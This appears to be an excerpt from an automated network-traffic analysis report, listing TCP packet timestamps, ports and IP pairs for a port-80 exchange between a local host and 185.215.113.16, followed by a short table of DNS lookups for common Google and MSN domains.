Nov 20, 2024 23:13:06.019640923 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.019684076 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.019797087 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.021688938 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.021797895 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.021822929 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.021878004 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.023852110 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.023907900 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.023978949 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.024030924 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.025985003 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.026057959 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.026106119 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.026199102 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.028089046 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.028207064 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.028265953 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.030231953 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.030289888 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.030302048 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.030459881 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.032250881 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.032311916 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.032388926 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.032490969 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.033988953 CET	443	49934	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:06.034442902 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.034713030 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.034770012 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.036564112 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.036607027 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.036622047 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.036731958 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.038665056 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.038722038 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.038734913 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.038774967 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.040826082 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.040891886 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.040906906 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.040954113 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.042880058 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.042932034 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.042973995 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.043076038 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.045140982 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.045191050 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.045221090 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.045300007 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.047096968 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.047167063 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.047173023 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.047446966 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.049225092 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.049298048 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.049309015 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.049446106 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.051430941 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.051456928 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.051496983 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.051515102 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.053421974 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.053535938 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.053601980 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.055597067 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.055665970 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.055744886 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.055864096 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.057652950 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.057703972 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.057838917 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.059815884 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.059880972 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.059921980 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.061920881 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.061983109 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.062057018 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.063988924 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.064047098 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.064117908 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.064229965 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.066096067 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.066140890 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.066189051 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.066246033 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.067423105 CET	49934	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:06.067478895 CET	443	49934	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:06.068169117 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.068250895 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.068289042 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.068325043 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.068547010 CET	49934	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:06.068561077 CET	443	49934	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:06.068643093 CET	49934	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:06.068654060 CET	443	49934	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:06.070271015 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.070327997 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.070386887 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.070432901 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.072417974 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.072468996 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.072480917 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.072520018 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.074527025 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.074585915 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.074623108 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.074666023 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.076675892 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.076725006 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.076725960 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.076843977 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.078857899 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.078921080 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.078969002 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.079096079 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.080908060 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.080972910 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.081053019 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.082999945 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.083070993 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.083072901 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.083173037 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.085161924 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.085268021 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.085284948 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.085360050 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.087223053 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.087254047 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.087289095 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.087317944 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.089323044 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.089528084 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.089608908 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.091691017 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.091825008 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.091881990 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.091911077 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.093539953 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.093661070 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.093673944 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.093712091 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.095673084 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.095756054 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.095820904 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.097804070 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.097865105 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.097908020 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.097949028 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.099903107 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.099934101 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.099981070 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.102003098 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.102065086 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.102099895 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.102180004 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.104125977 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.104217052 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.104285955 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.106255054 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.106280088 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.106333017 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.108369112 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.108444929 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.108453035 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.108589888 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.110434055 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.110496044 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.142208099 CET	443	49935	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:06.142646074 CET	49935	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:06.142683029 CET	443	49935	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:06.143181086 CET	49935	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:06.143191099 CET	443	49935	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:06.143213034 CET	49935	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:06.143223047 CET	443	49935	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:06.207228899 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.207293987 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.207360029 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.207550049 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.208067894 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.208117962 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.208148003 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.208213091 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.209722042 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.209770918 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.209784985 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.209830046 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.211366892 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.211415052 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.211481094 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.211527109 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.213119030 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.213167906 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.213331938 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.213380098 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.214730978 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.214776039 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.214850903 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.214911938 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.216324091 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.216367006 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.216428995 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.216474056 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.217997074 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.218049049 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.218101025 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.218154907 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.219573975 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.219626904 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.219656944 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.219697952 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.221123934 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.221203089 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.221216917 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.221244097 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.222717047 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.222831964 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.222882986 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.224241018 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.224327087 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.224349976 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.224396944 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.225768089 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.225817919 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.225826979 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.225876093 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.227325916 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.227437973 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.227462053 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.227479935 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.228846073 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.228948116 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.228955984 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.229055882 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.230381966 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.230433941 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.230467081 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.230542898 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.231827974 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.231878996 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.231930971 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.231992960 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.233402967 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.233453035 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.233520031 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.233561993 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.234795094 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.234844923 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.234891891 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.234982014 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.236360073 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.236414909 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.236429930 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.236479998 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.237763882 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.237813950 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.237876892 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.237926960 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.239248037 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.239294052 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.239325047 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.239411116 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.240746975 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.240796089 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.240864992 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.240914106 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.242305994 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.242352962 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.242412090 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.242496967 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.243714094 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.243765116 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.243808031 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.243849993 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.245189905 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.245244026 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.245270967 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.245317936 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.246697903 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.246747017 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.246814966 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.246859074 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.248137951 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.248183012 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.248234987 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.248277903 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.249634027 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.249677896 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.249746084 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.249785900 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.251138926 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.251188993 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.251270056 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.251336098 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.252609015 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.252659082 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.252732992 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.252788067 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.254132986 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.254184008 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.254226923 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.254295111 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.255539894 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.255583048 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.255655050 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.255701065 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.257035971 CET	80	49932	185.215.113.16	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 23:12:30.869199038 CET	192.168.2.7	1.1.1.1	0x5fdd	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:30.869354963 CET	192.168.2.7	1.1.1.1	0x86a3	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 23:12:37.722389936 CET	192.168.2.7	1.1.1.1	0xc7a0	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:37.722623110 CET	192.168.2.7	1.1.1.1	0xbaff	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 20, 2024 23:12:38.722631931 CET	192.168.2.7	1.1.1.1	0x21ba	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:38.723974943 CET	192.168.2.7	1.1.1.1	0x94f6	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 20, 2024 23:12:42.189543962 CET	192.168.2.7	1.1.1.1	0x5fad	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:42.189757109 CET	192.168.2.7	1.1.1.1	0x61c5	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 20, 2024 23:12:44.841378927 CET	192.168.2.7	1.1.1.1	0x724a	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:44.841548920 CET	192.168.2.7	1.1.1.1	0x1bdd	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 20, 2024 23:12:45.233046055 CET	192.168.2.7	1.1.1.1	0xe0a6	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:45.233197927 CET	192.168.2.7	1.1.1.1	0x5584	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 20, 2024 23:12:46.285615921 CET	192.168.2.7	1.1.1.1	0xdb13	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:46.286180019 CET	192.168.2.7	1.1.1.1	0x5fd2	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 20, 2024 23:12:46.316226959 CET	192.168.2.7	1.1.1.1	0xad80	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:46.316483974 CET	192.168.2.7	1.1.1.1	0xbde2	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 20, 2024 23:12:46.726934910 CET	192.168.2.7	1.1.1.1	0x2596	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 23:12:46.727061033 CET	192.168.2.7	1.1.1.1	0xf7dc	Standard query (0)	c.msn.com	65	IN (0x0001)	false
